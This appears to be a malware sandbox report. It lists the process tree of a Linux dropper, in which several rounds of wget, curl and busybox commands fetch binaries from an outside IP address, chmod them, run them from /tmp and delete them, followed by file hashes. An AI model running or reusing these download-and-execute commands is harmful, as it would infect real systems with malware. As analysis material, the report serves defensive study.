/tmp/eUBxrY5VHMCCk9EGNgKSMCoNXHYHQEE6PQ./eUBxrY5VHMCCk9EGNgKSMCoNXHYHQEE6PQ2⤵
- Executes dropped EXE
PID:959
-
-
/bin/rmrm eUBxrY5VHMCCk9EGNgKSMCoNXHYHQEE6PQ2⤵PID:960
-
-
/usr/bin/wgetwget http://216.126.231.240/bins/6C6vkRTxj30mARZsdGPnPAoIUz2I2uJ4Ik2⤵PID:961
-
-
/usr/bin/curlcurl -O http://216.126.231.240/bins/6C6vkRTxj30mARZsdGPnPAoIUz2I2uJ4Ik2⤵
- Reads runtime system information
- Writes file to tmp directory
PID:962
-
-
/bin/busybox/bin/busybox wget http://216.126.231.240/bins/6C6vkRTxj30mARZsdGPnPAoIUz2I2uJ4Ik2⤵PID:963
-
-
/bin/chmodchmod 777 6C6vkRTxj30mARZsdGPnPAoIUz2I2uJ4Ik2⤵
- File and Directory Permissions Modification
PID:964
-
-
/tmp/6C6vkRTxj30mARZsdGPnPAoIUz2I2uJ4Ik./6C6vkRTxj30mARZsdGPnPAoIUz2I2uJ4Ik2⤵
- Executes dropped EXE
PID:965
-
-
/bin/rmrm 6C6vkRTxj30mARZsdGPnPAoIUz2I2uJ4Ik2⤵PID:966
-
-
/usr/bin/wgetwget http://216.126.231.240/bins/WoLIUlBg806gX5DEGrIDeILtPvI7zIJcpq2⤵PID:967
-
-
/usr/bin/curlcurl -O http://216.126.231.240/bins/WoLIUlBg806gX5DEGrIDeILtPvI7zIJcpq2⤵
- Reads runtime system information
- Writes file to tmp directory
PID:968
-
-
/bin/busybox/bin/busybox wget http://216.126.231.240/bins/WoLIUlBg806gX5DEGrIDeILtPvI7zIJcpq2⤵PID:969
-
-
/bin/chmodchmod 777 WoLIUlBg806gX5DEGrIDeILtPvI7zIJcpq2⤵
- File and Directory Permissions Modification
PID:970
-
-
/tmp/WoLIUlBg806gX5DEGrIDeILtPvI7zIJcpq./WoLIUlBg806gX5DEGrIDeILtPvI7zIJcpq2⤵
- Executes dropped EXE
PID:971
-
-
/bin/rmrm WoLIUlBg806gX5DEGrIDeILtPvI7zIJcpq2⤵PID:972
-
-
/usr/bin/wgetwget http://216.126.231.240/bins/bCwfYiSWdnPM8nF9QCNQFauUupVa11ocfN2⤵PID:973
-
-
/usr/bin/curlcurl -O http://216.126.231.240/bins/bCwfYiSWdnPM8nF9QCNQFauUupVa11ocfN2⤵
- Reads runtime system information
- Writes file to tmp directory
PID:974
-
-
/bin/busybox/bin/busybox wget http://216.126.231.240/bins/bCwfYiSWdnPM8nF9QCNQFauUupVa11ocfN2⤵PID:975
-
-
/bin/chmodchmod 777 bCwfYiSWdnPM8nF9QCNQFauUupVa11ocfN2⤵
- File and Directory Permissions Modification
PID:976
-
-
/tmp/bCwfYiSWdnPM8nF9QCNQFauUupVa11ocfN./bCwfYiSWdnPM8nF9QCNQFauUupVa11ocfN2⤵
- Executes dropped EXE
PID:977
-
-
/bin/rmrm bCwfYiSWdnPM8nF9QCNQFauUupVa11ocfN2⤵PID:978
-
-
/usr/bin/wgetwget http://216.126.231.240/bins/yhuFpgnqmroDbPC5o9RCJieYW1CFOnQDYc2⤵PID:979
-
-
/usr/bin/curlcurl -O http://216.126.231.240/bins/yhuFpgnqmroDbPC5o9RCJieYW1CFOnQDYc2⤵
- Reads runtime system information
- Writes file to tmp directory
PID:980
-
-
/bin/busybox/bin/busybox wget http://216.126.231.240/bins/yhuFpgnqmroDbPC5o9RCJieYW1CFOnQDYc2⤵PID:981
-
-
/bin/chmodchmod 777 yhuFpgnqmroDbPC5o9RCJieYW1CFOnQDYc2⤵
- File and Directory Permissions Modification
PID:982
-
-
/tmp/yhuFpgnqmroDbPC5o9RCJieYW1CFOnQDYc./yhuFpgnqmroDbPC5o9RCJieYW1CFOnQDYc2⤵
- Executes dropped EXE
PID:983
-
-
/bin/rmrm yhuFpgnqmroDbPC5o9RCJieYW1CFOnQDYc2⤵PID:984
-
-
/usr/bin/wgetwget http://216.126.231.240/bins/SfInoCDmB6zQx1NlaBv6CjHcnO0lcJ3wNX2⤵PID:985
-
-
/usr/bin/curlcurl -O http://216.126.231.240/bins/SfInoCDmB6zQx1NlaBv6CjHcnO0lcJ3wNX2⤵
- Reads runtime system information
- Writes file to tmp directory
PID:986
-
-
/bin/busybox/bin/busybox wget http://216.126.231.240/bins/SfInoCDmB6zQx1NlaBv6CjHcnO0lcJ3wNX2⤵PID:987
-
-
/bin/chmodchmod 777 SfInoCDmB6zQx1NlaBv6CjHcnO0lcJ3wNX2⤵
- File and Directory Permissions Modification
PID:988
-
-
/tmp/SfInoCDmB6zQx1NlaBv6CjHcnO0lcJ3wNX./SfInoCDmB6zQx1NlaBv6CjHcnO0lcJ3wNX2⤵
- Executes dropped EXE
PID:989
-
-
/bin/rmrm SfInoCDmB6zQx1NlaBv6CjHcnO0lcJ3wNX2⤵PID:990
-
-
/usr/bin/wgetwget http://216.126.231.240/bins/ELfm8a3wKCyvHLOz2xFrbBioqCoX4SPqt52⤵PID:991
-
-
/usr/bin/curlcurl -O http://216.126.231.240/bins/ELfm8a3wKCyvHLOz2xFrbBioqCoX4SPqt52⤵
- Reads runtime system information
- Writes file to tmp directory
PID:992
-
-
/bin/busybox/bin/busybox wget http://216.126.231.240/bins/ELfm8a3wKCyvHLOz2xFrbBioqCoX4SPqt52⤵PID:993
-
-
/bin/chmodchmod 777 ELfm8a3wKCyvHLOz2xFrbBioqCoX4SPqt52⤵
- File and Directory Permissions Modification
PID:994
-
-
/tmp/ELfm8a3wKCyvHLOz2xFrbBioqCoX4SPqt5./ELfm8a3wKCyvHLOz2xFrbBioqCoX4SPqt52⤵
- Executes dropped EXE
PID:995
-
-
/bin/rmrm ELfm8a3wKCyvHLOz2xFrbBioqCoX4SPqt52⤵PID:996
-
-
/usr/bin/wgetwget http://216.126.231.240/bins/ReS1F25hvGPCIW4ckz6bbIqnItZmdnBSxm2⤵PID:997
-
-
/usr/bin/curlcurl -O http://216.126.231.240/bins/ReS1F25hvGPCIW4ckz6bbIqnItZmdnBSxm2⤵
- Reads runtime system information
- Writes file to tmp directory
PID:998
-
-
/bin/busybox/bin/busybox wget http://216.126.231.240/bins/ReS1F25hvGPCIW4ckz6bbIqnItZmdnBSxm2⤵PID:999
-
-
/bin/chmodchmod 777 ReS1F25hvGPCIW4ckz6bbIqnItZmdnBSxm2⤵
- File and Directory Permissions Modification
PID:1000
-
-
/tmp/ReS1F25hvGPCIW4ckz6bbIqnItZmdnBSxm./ReS1F25hvGPCIW4ckz6bbIqnItZmdnBSxm2⤵
- Executes dropped EXE
PID:1001
-
-
/bin/rmrm ReS1F25hvGPCIW4ckz6bbIqnItZmdnBSxm2⤵PID:1002
-
Network
MITRE ATT&CK Enterprise v15
Replay Monitor
Loading Replay Monitor...
Downloads
-
Filesize
153B
MD5998368d7c95ea4293237f2320546e440
SHA130dfd2d3bb8a7e3241bd7792e90a98ebb70be3a4
SHA256533a1ca5d6595793725bca7641d9461a0f00dd1732dded3e4281196f5dd21736
SHA512648c4720a85dbf834be1ba00f0e1b4167cc670fe15896efb00a77fb6e0c225a13aae3da10d85fa6e7f726420d9bb3c20c43466e02296d44153c127b7160e0b97